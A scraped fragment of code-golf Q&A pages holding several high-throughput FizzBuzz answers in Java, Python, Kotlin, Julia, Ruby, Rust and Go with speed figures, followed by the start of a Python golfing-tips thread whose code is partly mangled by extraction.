\"3\\n\" +\n s + \"4\\nFizzBuzz\\n\" +\n s + \"6\\n\" +\n s + \"7\\nFizz\\n\" +\n s + \"9\\nBuzz\\nFizz\\n\" +\n (s = Long.toString(++t)) + \"2\\n\" +\n s + \"3\\nFizz\\nBuzz\\n\" +\n s + \"6\\nFizz\\n\" +\n s + \"8\\n\" +\n s + \"9\\nFizzBuzz\\n\" +\n (s = Long.toString(++t)) + \"1\\n\" +\n s + \"2\\nFizz\\n\" +\n s + \"4\\nBuzz\\nFizz\\n\" +\n s + \"7\\n\" +\n s + \"8\\nFizz\\nBuzz\\n\").getBytes(US_ASCII);\n n += 30;\n buffer.put(template);\n for (var limit = n + LIGHT_INCREMENT; n < limit; n += 30L) {\n if (n == nextPowerOf10) {\n nextPowerOf10 *= 10;\n digitCount++;\n idx = IDX[digitCount];\n t = n / 10L;\n s = Long.toString(t);\n template = (s + \"1\\nFizz\\n\" +\n s + \"3\\n\" +\n s + \"4\\nFizzBuzz\\n\" +\n s + \"6\\n\" +\n s + \"7\\nFizz\\n\" +\n s + \"9\\nBuzz\\nFizz\\n\" +\n (s = Long.toString(++t)) + \"2\\n\" +\n s + \"3\\nFizz\\nBuzz\\n\" +\n s + \"6\\nFizz\\n\" +\n s + \"8\\n\" +\n s + \"9\\nFizzBuzz\\n\" +\n (s = Long.toString(++t)) + \"1\\n\" +\n s + \"2\\nFizz\\n\" +\n s + \"4\\nBuzz\\nFizz\\n\" +\n s + \"7\\n\" +\n s + \"8\\nFizz\\nBuzz\\n\").getBytes(US_ASCII);\n } else {\n for (var i = 0; i < idx.length; ) {\n var pos = idx[i++];\n template[pos] += 3;\n while (template[pos] > '9') {\n template[pos] -= 10;\n template[--pos]++;\n }\n }\n }\n buffer.put(template);\n }\n return buffer.flip();\n }\n }\n}\n/*\n * Speed references:\n * - 270 GiB / min ¬± 3.95 / min on Macbook Pro 2021\n */\n```\n[Answer]\n# Python 3\nWe use fstrings to create blocks of 300 lines, and reduce the number of conversions from int to str by counting by 100.\n```\ndef fizz_buzz(write):\n write(\n \"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\nBuzz\\n11\\nFizz\\n13\\n14\\nFiz\"\n \"zBuzz\\n16\\n17\\nFizz\\n19\\nBuzz\\nFizz\\n22\\n23\\nFizz\\nBuzz\\n26\\nFizz\"\n \"\\n28\\n29\\nFizzBuzz\\n31\\n32\\nFizz\\n34\\nBuzz\\nFizz\\n37\\n38\\nFizz\\nBu\"\n \"zz\\n41\\nFizz\\n43\\n44\\nFizzBuzz\\n46\\n47\\nFizz\\n49\\nBuzz\\nFizz\\n52\\n\"\n \"53\\nFizz\\nBuzz\\n56\\nFizz\\n58\\n59\\nFizzBuzz\\n61\\n62\\nFizz\\n64\\nBuzz\"\n \"\\nFizz\\n67\\n68\\nFizz\\nBuzz\\n71\\nFizz\\n73\\n74\\nFizzBuzz\\n76\\n77\\nFi\"\n \"zz\\n79\\nBuzz\\nFizz\\n82\\n83\\nFizz\\nBuzz\\n86\\nFizz\\n88\\n89\\nFizzBuzz\"\n \"\\n91\\n92\\nFizz\\n94\\nBuzz\\nFizz\\n97\\n98\\nFizz\\nBuzz\\n\"\n )\n h = 0\n while True:\n h += 1\n c1 = str(h)\n h += 1\n c2 = str(h)\n h += 1\n c3 = str(h)\n write(\n f\"{c1}01\\nFizz\\n{c1}03\\n{c1}04\\nFizzBuzz\\n{c1}06\\n{c1}07\\nFizz\\n{c1}09\\nBuzz\\n\"\n f\"Fizz\\n{c1}12\\n{c1}13\\nFizz\\nBuzz\\n{c1}16\\nFizz\\n{c1}18\\n{c1}19\\nFizzBuzz\\n\"\n f\"{c1}21\\n{c1}22\\nFizz\\n{c1}24\\nBuzz\\nFizz\\n{c1}27\\n{c1}28\\nFizz\\nBuzz\\n\"\n f\"{c1}31\\nFizz\\n{c1}33\\n{c1}34\\nFizzBuzz\\n{c1}36\\n{c1}37\\nFizz\\n{c1}39\\nBuzz\\n\"\n f\"Fizz\\n{c1}42\\n{c1}43\\nFizz\\nBuzz\\n{c1}46\\nFizz\\n{c1}48\\n{c1}49\\nFizzBuzz\\n\"\n f\"{c1}51\\n{c1}52\\nFizz\\n{c1}54\\nBuzz\\nFizz\\n{c1}57\\n{c1}58\\nFizz\\nBuzz\\n\"\n f\"{c1}61\\nFizz\\n{c1}63\\n{c1}64\\nFizzBuzz\\n{c1}66\\n{c1}67\\nFizz\\n{c1}69\\nBuzz\\n\"\n f\"Fizz\\n{c1}72\\n{c1}73\\nFizz\\nBuzz\\n{c1}76\\nFizz\\n{c1}78\\n{c1}79\\nFizzBuzz\\n\"\n f\"{c1}81\\n{c1}82\\nFizz\\n{c1}84\\nBuzz\\nFizz\\n{c1}87\\n{c1}88\\nFizz\\nBuzz\\n\"\n f\"{c1}91\\nFizz\\n{c1}93\\n{c1}94\\nFizzBuzz\\n{c1}96\\n{c1}97\\nFizz\\n{c1}99\\nBuzz\\n\"\n f\"Fizz\\n{c2}02\\n{c2}03\\nFizz\\nBuzz\\n{c2}06\\nFizz\\n{c2}08\\n{c2}09\\nFizzBuzz\\n\"\n f\"{c2}11\\n{c2}12\\nFizz\\n{c2}14\\nBuzz\\nFizz\\n{c2}17\\n{c2}18\\nFizz\\nBuzz\\n\"\n f\"{c2}21\\nFizz\\n{c2}23\\n{c2}24\\nFizzBuzz\\n{c2}26\\n{c2}27\\nFizz\\n{c2}29\\nBuzz\\n\"\n f\"Fizz\\n{c2}32\\n{c2}33\\nFizz\\nBuzz\\n{c2}36\\nFizz\\n{c2}38\\n{c2}39\\nFizzBuzz\\n\"\n f\"{c2}41\\n{c2}42\\nFizz\\n{c2}44\\nBuzz\\nFizz\\n{c2}47\\n{c2}48\\nFizz\\nBuzz\\n\"\n f\"{c2}51\\nFizz\\n{c2}53\\n{c2}54\\nFizzBuzz\\n{c2}56\\n{c2}57\\nFizz\\n{c2}59\\nBuzz\\n\"\n f\"Fizz\\n{c2}62\\n{c2}63\\nFizz\\nBuzz\\n{c2}66\\nFizz\\n{c2}68\\n{c2}69\\nFizzBuzz\\n\"\n f\"{c2}71\\n{c2}72\\nFizz\\n{c2}74\\nBuzz\\nFizz\\n{c2}77\\n{c2}78\\nFizz\\nBuzz\\n\"\n f\"{c2}81\\nFizz\\n{c2}83\\n{c2}84\\nFizzBuzz\\n{c2}86\\n{c2}87\\nFizz\\n{c2}89\\nBuzz\\n\"\n f\"Fizz\\n{c2}92\\n{c2}93\\nFizz\\nBuzz\\n{c2}96\\nFizz\\n{c2}98\\n{c2}99\\nFizzBuzz\\n\"\n f\"{c3}01\\n{c3}02\\nFizz\\n{c3}04\\nBuzz\\nFizz\\n{c3}07\\n{c3}08\\nFizz\\nBuzz\\n\"\n f\"{c3}11\\nFizz\\n{c3}13\\n{c3}14\\nFizzBuzz\\n{c3}16\\n{c3}17\\nFizz\\n{c3}19\\nBuzz\\n\"\n f\"Fizz\\n{c3}22\\n{c3}23\\nFizz\\nBuzz\\n{c3}26\\nFizz\\n{c3}28\\n{c3}29\\nFizzBuzz\\n\"\n f\"{c3}31\\n{c3}32\\nFizz\\n{c3}34\\nBuzz\\nFizz\\n{c3}37\\n{c3}38\\nFizz\\nBuzz\\n\"\n f\"{c3}41\\nFizz\\n{c3}43\\n{c3}44\\nFizzBuzz\\n{c3}46\\n{c3}47\\nFizz\\n{c3}49\\nBuzz\\n\"\n f\"Fizz\\n{c3}52\\n{c3}53\\nFizz\\nBuzz\\n{c3}56\\nFizz\\n{c3}58\\n{c3}59\\nFizzBuzz\\n\"\n f\"{c3}61\\n{c3}62\\nFizz\\n{c3}64\\nBuzz\\nFizz\\n{c3}67\\n{c3}68\\nFizz\\nBuzz\\n\"\n f\"{c3}71\\nFizz\\n{c3}73\\n{c3}74\\nFizzBuzz\\n{c3}76\\n{c3}77\\nFizz\\n{c3}79\\nBuzz\\n\"\n f\"Fizz\\n{c3}82\\n{c3}83\\nFizz\\nBuzz\\n{c3}86\\nFizz\\n{c3}88\\n{c3}89\\nFizzBuzz\\n\"\n f\"{c3}91\\n{c3}92\\nFizz\\n{c3}94\\nBuzz\\nFizz\\n{c3}97\\n{c3}98\\nFizz\\nBuzz\\n\"\n )\nif __name__ == \"__main__\":\n import sys\n fizz_buzz(sys.stdout.write)\n```\nOn my laptop (i7-1165G7):\n* python (3.11.3): 0.6 GiB/s\n* pypy3 (7.3.12): 1.3 GiB/s\n[Answer]\nJust tried the following Kotlin, compiled to Kotlin Native:\n```\nfun main(){\n for (i in 1..1_000_000_000){\n when {\n (i % 3 == 0 && i % 5 == 0) -> println(\"FizzBuzz\")\n i % 3 == 0 -> println(\"Fizz\")\n i % 5 == 0 -> println(\"Buzz\")\n else -> println(\"$i\")\n }\n }\n}\n```\n**2.91MiB/s**\nMachine specs:\n* Linux 5.14.18\n* i7-8550U\n* 16GB Ram\n[Answer]\nAdding a bit upon ksousa's answer, you can make two tweaks while keeping readability:\n* Use f-strings **not .format()** (because that'd add a function call) in the derailleur() function\n* Use os.write() instead of print(), because **print() is slow** (not that os.write is much faster, but it is faster)\nIt ends up looking like this:\n```\nfrom itertools import cycle, count\nfrom os import write\ndef derailleur(counter, carousel):\n return f\"{carousel if carousel else counter}\\n\"\ndef main():\n carousel = cycle([0, 0, \"Fizz\", 0, \"Buzz\", \"Fizz\", 0, 0, \"Fizz\", \"Buzz\", 0, \"Fizz\", 0, 0, \"FizzBuzz\"])\n counter = count(1)\n f = map(derailleur, counter, carousel)\n while True:\n write(1, \"\".join( [ next(f) for _ in range(8192) ] ).encode(\"utf-8\") )\nmain()\n```\nI also played a bit with extending the range, but didn't get a significant speedup from that.\nUnder WSL2 on a 7200u w/ 16GiB of RAM I'm getting about a 10% to 20% better throughput, but the readings are super noisy (it starts at 15 MiB/s, jumps to 25, back to 20, etc...).\nI don't have a Linux machine at hand to test this under a better environment, but I don't expect these changes to make a significant impact. After a few measurements, either using print() or os.write(), about 95% of the time is spent writing the output, and I haven't done much to address that with my changes.\n**Edit:** fixed a few typos and tested on PyPy3 under the same environment:\n* Nearing 100 MiB/s using os.write()\n* Slightly faster 108 MiB/s using print()\n**Edit 2:** **moar PyPy!**\nIf we throw CPython performance out of the window, we can go with this pretty straightforward code:\n```\ndef fizzbuzz(x: int) -> str:\n if x % 15 == 0: return \"FizzBuzz\"\n if x % 5 == 0: return \"Buzz\"\n if x % 3 == 0: return \"Fizz\"\n return f\"{x}\"\ndef main():\n c = 0\n while True:\n print( \"\\n\".join( fizzbuzz( c + i) for i in range(8192) ) )\n c += 8192\nmain()\n```\nAnd that is netting about 148 MiB/s on my PC, using PyPy. So about 6x faster than ksousas CPython version. Running it under python3 gives me 22-24 MiB/s, which is close to where I started. Again, I'm fairly certain on my environment writing to stdout dominates and there's very little to be done unless that bottleneck can be addressed.\n[Answer]\n# [Julia 1.7](http://julialang.org/)\n```\n@inbounds function inc!(l::Vector{UInt8}, n, i = length(l)-1)\n if i > 0\n l[i] += n\n if l[i] > 0x39 # '9' \n l[i] -= 0x0A # 10\n inc!(l, 0x01, i-1)\n end\n else\n pushfirst!(l, 0x31) # '1'\n end\n \n return nothing\nend\nfunction main(maxi = typemax(Int), N = 2^16)\n io = IOBuffer(; sizehint=N)\n a = UInt8['1', '\\n']\n sizehint!(a, 100)\n for j in 1:N:maxi\n s = take!(io)\n write(stdout, s)\n l = ll = 0\n \n while ll+l+8 < N\n l = 0\n l += write(io, a)\n inc!(a, 0x01)\n l += write(io, a)\n l += write(io, \"Fizz\\n\")\n inc!(a, 0x02)\n l += write(io, a)\n l += write(io, \"Buzz\\nFizz\\n\")\n inc!(a, 0x03)\n l += write(io, a)\n inc!(a, 0x01)\n l += write(io, a)\n l += write(io, \"Fizz\\nBuzz\\n\")\n inc!(a, 0x03)\n l += write(io, a)\n l += write(io, \"Fizz\\n\")\n inc!(a, 0x02)\n l += write(io, a)\n inc!(a, 0x01)\n l += write(io, a)\n l += write(io, \"FizzBuzz\\n\")\n inc!(a, 0x02)\n ll += l\n end\n end\nend\nmain()\n```\nThe buffer of size `N` is optimized for my machine. I get about **350-400 MiB/s** in WSL, it might be better on a real Linux machine (let's not talk about the performance in windows). I got slightly better results with julia 1.7 than with 1.6.\n[Try it online!](https://tio.run/##xVRRT8IwEH7frzjwgTWMZJVEAZ1RHkx4wSd9AUwmdKxYWrJ1ETH@9nntYASIIUaMfeja@3p3332X2ywTPKTLPL/l8kVlcpJClMmx5koCl@OKKzqdJzbWKvl47End@vRAesAhAMHkVMeuIA1KHMDFI7TfgG8vZokBH0E9AFla8Ik14qtlsw1nUGvXSrB0aQQI@3cIU38HLQh5BqVIYpPYLCYn9sxEykrjIkvjiCepXns1KTE5aZFz42K3hOkskSCVjrmcOgZzSiHmIZfuPFyasvX7guHRRTGIB320nD/TC@IUEii89x66WRSxxL2ClK8YxtNBv2AaImxlHCAJD2pDWRtZYPOw4oYeVu2v40UqgRmWDbTT7xgCTllbariEr6zicrWV4S3hmrmpnqhMe5BuAWE6ZratolunmAuGaF3UW3AN/d2O7PgUFuxpkYgrD0Jy2KOw6BH5gd8eWr3nq9VQVr8Nfv6b4N3MBD@Wokn@re6C4Imo/am0p6z7WNX7xGwMcfgPwK8dYDu3OJ6XdUry/As \"Julia 1.0 ‚Äì Try It Online\")\n[Answer]\n## Ruby\n```\n# frozen_string_literal: true\nFMT = \"%d\\n%d\\nFizz\\n%d\\nBuzz\\nFizz\\n%d\\n%d\\nFizz\\nBuzz\\n%d\\nFizz\\n%d\\n%d\\nFizzBuzz\"\n(1..).each_slice(15) do |slice|\n puts format(FMT, slice[0], slice[1], slice[3], slice[6], slice[7], slice[10], slice[12], slice[13])\nend\n```\nDoesn't seem to be as magical as system languages though. On MacBook Air 1,7 GHz Dual-Core Intel Core i7 8 GB 1600 MHz DDR3 (while watching a twitch stream)\nI'm getting from `ruby fizzbuzz.rb | pv > /dev/null`:\n* [44.4MiB/s] for ruby 2.7.4 but seems fuctuating\n* [39.3MiB/s] for ruby 3.1-dev but seems to be more stable\n[Answer]\n**Java: On my 11th gen intel laptop**\n* The OP's simple C version: 25 MiB/s\n* My simple Java version: 140 MiB/s\n* python neil+kamila: 8 MiB/s\n* python ksoua chunking: 4.33 MiB/s\n* Jan's C version: 1.0 GiB/s\nSometimes simple is better!\nTo the guy that did a threaded C++ version: wow!\n```\npublic class FizzBuzz {\n public static void main(String[] args) {\n long maxBufLen=4096<<3;\n var sb=new StringBuilder((int)maxBufLen + 10);\n for (long i = 1; ; i+=1) {\n if ((i % 3 == 0) && (i % 5 == 0)) {\n sb.append(\"FizzBuzz\\n\");\n } else if (i % 3 == 0) {\n sb.append(\"Fizz\\n\");\n } else if (i % 5 == 0) {\n sb.append(\"Buzz\\n\");\n } else {\n sb.append(i).append(\"\\n\");\n }\n \n if(sb.length()>maxBufLen) {\n System.out.print(sb);\n sb.setLength(0);\n }\n }\n \n }\n} \n```\nCopied Ioan's threaded version (not the way I'd do it but it works...) and added some efficiencies:\n750MiB/s same laptop\n```\nimport java.io.FileDescriptor;\nimport java.io.FileOutputStream;\nimport java.nio.ByteBuffer;\nimport java.nio.CharBuffer;\nimport java.nio.channels.FileChannel;\nimport java.nio.charset.CharsetEncoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.LinkedList;\nimport java.util.Queue;\nimport java.util.concurrent.CompletableFuture;\nimport java.util.concurrent.ForkJoinPool;\nimport java.util.function.Supplier;\nimport java.util.stream.IntStream;\npublic class FizzBuzzIoan {\n static final String NEWLINE = String.format(\"%n\");\n static final CharsetEncoder encoder = StandardCharsets.US_ASCII.newEncoder();\n static void fizzBuzz(long src, StringBuilder destination) {\n \n if (src % 15 == 0) {\n destination.append(\"FizzBuzz\"+NEWLINE);\n } else if (src % 5 == 0) {\n destination.append(\"Fizz\"+NEWLINE);\n } else if (src % 3 == 0) {\n destination.append(\"Buzz\"+NEWLINE);\n } else {\n destination.append(src).append(NEWLINE);\n }\n }\n record Pair(T1 item1, T2 item2) {\n }\n public static void main(String[] args) throws Exception {\n try (var fis= new FileOutputStream(FileDescriptor.out)) {\n var channel = fis.getChannel();\n doIt(channel);\n }\n }\n static void doIt(FileChannel channel) {\n var max=Math.max(ForkJoinPool.getCommonPoolParallelism(), 1);\n \n final Queue>> queue =\n new LinkedList<>(\n IntStream.range(0, max).mapToObj(i ->\n CompletableFuture.completedFuture(\n new Pair<>(new StringBuilder(20 * 1024 * 1024), ByteBuffer.allocateDirect(41 * 1024 * 1024)))).toList()\n );\n CompletableFuture last = CompletableFuture.completedFuture(null);\n final Supplier> supplier = () -> {\n try {\n return queue.poll().get();\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n return null;\n }\n };\n var nr = 0L;\n var segment = 1_000_000L;\n \n while (true) {\n final var start = nr;\n final var end = nr + segment;\n final var finalLast = last;\n var cf = CompletableFuture.completedFuture(supplier.get())\n .thenApplyAsync(p -> {\n var sb = p.item1();\n var bb = p.item2();\n \n sb.setLength(0);\n \n for (long l = start; l < end; l++) {\n fizzBuzz(l, sb);\n }\n bb.clear();\n \n try {\n var cb=CharBuffer.wrap(sb);\n encoder.encode(cb, bb, true);\n } catch(Exception ex) {\n throw new RuntimeException(ex);\n }\n return p;\n \n })\n .thenCombineAsync(finalLast, (p, v) -> {\n try {\n channel.write(p.item2().flip());\n } catch (Exception ex) {\n ex.printStackTrace();\n System.exit(1);\n }\n return p;\n });\n queue.add(cf);\n last = cf;\n nr = end;\n }\n }\n}\n```\n```\n[Answer]\nCan you check my version in rust ? On my laptop it seems faster than @aiden version\n```\nuse nix::unistd::write;\nuse std::time::{Duration, Instant};\nuse libc::exit;\nuse itoap;\n#[inline(always)]\nfn u64_to_bytes(n: u64, v: &mut Vec) {\n itoap::write_to_vec(v, n);\n v.push(0x0a);\n}\nfn main() {\n let mut i: u64 = 0;\n let Fizz = \"Fizz\\n\".as_bytes();\n let Buzz = \"Buzz\\n\".as_bytes();\n let FizzBuzz = \"FizzBuzz\\n\".as_bytes();\n let mut buffering: Vec = Vec::with_capacity(1024*1024*2);\n loop {\n for _ in 0..512 {\n i += 1;\n u64_to_bytes(i, &mut buffering);\n \n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n buffering.extend_from_slice(&Fizz);\n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n buffering.extend_from_slice(&Buzz);\n i += 1;\n buffering.extend_from_slice(&Fizz);\n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n buffering.extend_from_slice(&Fizz);\n i += 1;\n buffering.extend_from_slice(&Buzz);\n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n buffering.extend_from_slice(&Fizz);\n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n u64_to_bytes(i, &mut buffering);\n i += 1;\n buffering.extend_from_slice(&FizzBuzz); \n }\n write(1, buffering.as_slice());\n buffering.clear();\n }\n}\n```\n```\n[package]\nname = \"fizzbuzz\"\nversion = \"0.1.0\"\nedition = \"2021\"\n[dependencies]\nnix = \"0.24.1\"\nlibc = \"*\"\nitoap = \"*\"\n```\n[Answer]\n# Go\nCompile and run with `go run main.go`\nSome notes:\n* Creates output in 15-line templates where possible.\n* Divides work into sections of lines with same base10 integer width, so locations of integers in output buffer can easily be precomputed.\n* Processes work in large chunks of multiple templates, computed in parallel with goroutines and channels.\n* Uses modified versions of standard library itoa for int->string conversion to avoid memory allocation.\n* Caches small (<10000) integer string representations and reuses them where possible.\n4.3 GiB/s running this on my desktop\n```\npackage main\nimport (\n \"fmt\"\n \"io\"\n \"os\"\n \"runtime\"\n)\nconst limit = 1 << 61\nfunc main() {\n initItoaCache()\n parallelFizzBuzz(1, limit)\n}\nconst cacheSize = 10000\nvar logCacheSize = log10(cacheSize)\nvar itoaCache = make([]string, cacheSize)\nfunc initItoaCache() {\n // precompute string representations\n fmtString := fmt.Sprintf(\"%%0%dd\", logCacheSize)\n for j := 0; j < cacheSize; j++ {\n itoaCache[j] = fmt.Sprintf(fmtString, j)\n }\n}\nfunc parallelFizzBuzz(from, to int) {\n for _, wr := range getWidthRanges(from, to) {\n // range which can be filled with templates\n templatesStart := min(wr.to, ceilDiv(wr.from, templateLines)*templateLines)\n templatesEnd := templatesStart + floorDiv(wr.to-templatesStart+1, templateLines)*templateLines\n // handle values before first template\n for i := wr.from; i <= templatesStart; i++ {\n os.Stdout.WriteString(fizzBuzzLine(i))\n }\n // write large chunks in parallel\n const templatesPerJob = 250\n template, placeholderIdxs := fixedWidthTemplate(wr.width)\n nWorkers := runtime.NumCPU()\n chunkSize := nWorkers * templateLines * templatesPerJob\n chunksStart := templatesStart\n chunksEnd := chunksStart + floorDiv(templatesEnd-templatesStart+1, chunkSize)*chunkSize\n if chunksEnd > templatesStart {\n writeParallel(os.Stdout, chunksStart+1, chunksEnd, nWorkers, templatesPerJob, template, wr.width, placeholderIdxs)\n }\n // handle values after last chunk\n for i := chunksEnd + 1; i <= wr.to; i++ {\n os.Stdout.WriteString(fizzBuzzLine(i))\n }\n }\n}\ntype widthRange struct{ from, to, width int }\n// getWidthRanges splits integer range [from,to] into disjoint ranges grouped by base10 representation length\nfunc getWidthRanges(from, to int) []widthRange {\n ranges := []widthRange{}\n fromWidth := log10(from + 1)\n toWidth := log10(to + 1)\n for fromWidth < toWidth {\n toVal := pow(10, fromWidth) - 1\n ranges = append(ranges, widthRange{from, toVal, fromWidth})\n from = toVal + 1\n fromWidth += 1\n }\n ranges = append(ranges, widthRange{from, to, fromWidth})\n return ranges\n}\n// fizzBuzzLine is used to form lines outside of \"chunkable\" regions\nfunc fizzBuzzLine(i int) string {\n if (i%3 == 0) && (i%5 == 0) {\n return \"FizzBuzz\\n\"\n } else if i%3 == 0 {\n return \"Fizz\\n\"\n } else if i%5 == 0 {\n return \"Buzz\\n\"\n } else {\n return fastItoa(uint64(i)) + \"\\n\"\n }\n}\nconst templateLines = 15\nfunc fixedWidthTemplate(valueWidth int) ([]byte, []int) {\n template := make([]byte, 0, 15+valueWidth*8+4*8)\n formatString := fmt.Sprintf(\"%%0%dd\\n\", valueWidth)\n placeholder := []byte(fmt.Sprintf(formatString, 0))\n placeholderIdxs := make([]int, 0, 8)\n fizzBytes := []byte(\"Fizz\\n\")\n buzzBytes := []byte(\"Buzz\\n\")\n fizzBuzzBytes := []byte(\"FizzBuzz\\n\")\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n template = append(template, fizzBytes...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n template = append(template, buzzBytes...)\n template = append(template, fizzBytes...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n template = append(template, fizzBytes...)\n template = append(template, buzzBytes...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n template = append(template, fizzBytes...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n placeholderIdxs = append(placeholderIdxs, len(template))\n template = append(template, placeholder...)\n template = append(template, fizzBuzzBytes...)\n return template, placeholderIdxs\n}\nfunc writeParallel(f io.Writer, firstLine, lastLine, nWorkers, templatesPerJob int, template []byte, width int, placeholderIdxs []int) {\n totalLines := lastLine - firstLine + 1\n workerLines := templateLines * templatesPerJob\n linesPerRound := nWorkers * workerLines\n if totalLines%linesPerRound != 0 {\n panic(\"uneven work allocation\")\n }\n jobChannels := make([]chan int, nWorkers)\n resultChannels := make([]chan []byte, nWorkers)\n totalJobs := ceilDiv(totalLines, workerLines)\n jobsPerWorker := ceilDiv(totalLines, workerLines*nWorkers)\n for i := 0; i < nWorkers; i++ {\n jobChannels[i] = make(chan int, jobsPerWorker*2)\n resultChannels[i] = make(chan []byte, 1)\n go worker(jobChannels[i], resultChannels[i], templatesPerJob, template, width, placeholderIdxs)\n }\n // deal out jobs to workers\n for job := 0; job < totalJobs; job++ {\n jobLine := firstLine + job*workerLines\n jobChannels[job%nWorkers] <- jobLine\n }\n // read buffers from workers\n for job := 0; job < totalJobs; job++ {\n f.Write(<-resultChannels[job%nWorkers])\n }\n}\nfunc worker(in <-chan int, out chan<- []byte, templatesPerJob int, template []byte, width int, idxs []int) {\n buffer := make([]byte, len(template)*templatesPerJob)\n buffer2 := make([]byte, len(template)*templatesPerJob)\n buffer3 := make([]byte, len(template)*templatesPerJob)\n for i := 0; i < templatesPerJob; i++ {\n copy(buffer[len(template)*i:], template)\n }\n copy(buffer2, buffer)\n copy(buffer3, buffer)\n for jobLine := range in {\n nextFlush := (jobLine / cacheSize) * cacheSize\n repeat := false // need to fill twice for a clean template for cached ints\n for i := 0; i < templatesPerJob; i++ {\n off := i * len(template)\n if i*templateLines+jobLine+13 > nextFlush || repeat {\n bufFastItoa(buffer, off+idxs[0]+width, uint64(i*templateLines+jobLine))\n bufFastItoa(buffer, off+idxs[1]+width, uint64(i*templateLines+jobLine+1))\n bufFastItoa(buffer, off+idxs[2]+width, uint64(i*templateLines+jobLine+3))\n bufFastItoa(buffer, off+idxs[3]+width, uint64(i*templateLines+jobLine+6))\n bufFastItoa(buffer, off+idxs[4]+width, uint64(i*templateLines+jobLine+7))\n bufFastItoa(buffer, off+idxs[5]+width, uint64(i*templateLines+jobLine+10))\n bufFastItoa(buffer, off+idxs[6]+width, uint64(i*templateLines+jobLine+12))\n bufFastItoa(buffer, off+idxs[7]+width, uint64(i*templateLines+jobLine+13))\n repeat = !repeat\n if repeat {\n nextFlush += cacheSize\n }\n } else {\n copy(buffer[off:], buffer[off-len(template):off])\n copy(buffer[off+idxs[0]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine)%cacheSize])\n copy(buffer[off+idxs[1]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+1)%cacheSize])\n copy(buffer[off+idxs[2]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+3)%cacheSize])\n copy(buffer[off+idxs[3]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+6)%cacheSize])\n copy(buffer[off+idxs[4]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+7)%cacheSize])\n copy(buffer[off+idxs[5]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+10)%cacheSize])\n copy(buffer[off+idxs[6]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+12)%cacheSize])\n copy(buffer[off+idxs[7]+width-logCacheSize:], itoaCache[(i*templateLines+jobLine+13)%cacheSize])\n }\n }\n out <- buffer\n buffer, buffer2, buffer3 = buffer2, buffer3, buffer\n }\n close(out)\n}\n//\n// Helpers\n//\nfunc max(a, b int) int {\n if a < b {\n return b\n }\n return a\n}\nfunc min(a, b int) int {\n if a < b {\n return a\n }\n return b\n}\nfunc ceilDiv(val, divisor int) int {\n return (val + divisor - 1) / divisor\n}\nfunc floorDiv(val, divisor int) int {\n return val / divisor\n}\n// pow returns n^k\nfunc pow(n, k int) int {\n if k == 0 {\n return 1\n } else if k == 1 {\n return n\n } else {\n return pow(n, k/2) * pow(n, k-k/2)\n }\n}\n// log10 returns base 10 logarithm for positive n\nfunc log10(n int) int {\n if n <= 0 {\n panic(\"bad input\")\n }\n i := 0\n c := 1\n for c < n {\n c *= 10\n i++\n }\n return i\n}\nconst smallsString = \"00010203040506070809\" +\n \"10111213141516171819\" +\n \"20212223242526272829\" +\n \"30313233343536373839\" +\n \"40414243444546474849\" +\n \"50515253545556575859\" +\n \"60616263646566676869\" +\n \"70717273747576777879\" +\n \"80818283848586878889\" +\n \"90919293949596979899\"\n// bufFastItoa writes base10 string representation of a positive integer to index i in buffer\n// adapted from Go source strconv/itoa.go\nfunc bufFastItoa(buf []byte, i int, u uint64) {\n for u >= 100 {\n is := u % 100 * 2\n u /= 100\n i -= 2\n buf[i+1] = smallsString[is+1]\n buf[i+0] = smallsString[is+0]\n }\n // u < 100\n is := u * 2\n i--\n buf[i] = smallsString[is+1]\n if u >= 10 {\n i--\n buf[i] = smallsString[is]\n }\n}\n// fastItoa returns base10 string representation of a positive integer\n// adapted from Go source strconv/itoa.go\nfunc fastItoa(u uint64) string {\n var dst [20]byte\n i := len(dst)\n for u >= 100 {\n is := u % 100 * 2\n u /= 100\n i -= 2\n dst[i+1] = smallsString[is+1]\n dst[i+0] = smallsString[is+0]\n }\n // u < 100\n is := u * 2\n i--\n dst[i] = smallsString[is+1]\n if u >= 10 {\n i--\n dst[i] = smallsString[is]\n }\n return string(dst[i:])\n}\n```\n]"}}},{"rowIdx":14,"cells":{"text":{"kind":"string","value":"[Question]\n [\nWhat general tips do you have for golfing in Python? I'm looking for ideas which can be applied to code-golf problems and which are also at least somewhat specific to Python (e.g. \"remove comments\" is not an answer).\nPlease post one tip per answer.\n \n[Answer]\nUse `a=b=c=0` instead of `a,b,c=0,0,0`. (Note that this uses the same instance for each variable, so don't do this with objects like lists if you intend to mutate them independently)\nUse `a,b,c='123'` instead of `a,b,c='1','2','3'`.\n[Answer]\nConditionals can be lengthy. In some cases, you can replace a simple conditional with `(a,b)[condition]`. If `condition` is true, then `b` is returned.\nCompare\n```\nif a a > 1 < b < 5: foo()\n```\ninstead of:\n```\nif a > 1 and b > 1 and 3 > a and 5 > b: foo()\n```\nPython’s comparison operators rock.\n---\nUsing that everything is comparable in Python 2, you can also avoid the `and` operator this way. For example, if `a`, `b`, `c` and `d` are integers,\n```\nif ad:foo()\n```\ncan be shortened by one character to:\n```\nif ac>d:foo()\n```\nThis uses that every list is larger than any integer.\nIf `c` and `d` are lists, this gets 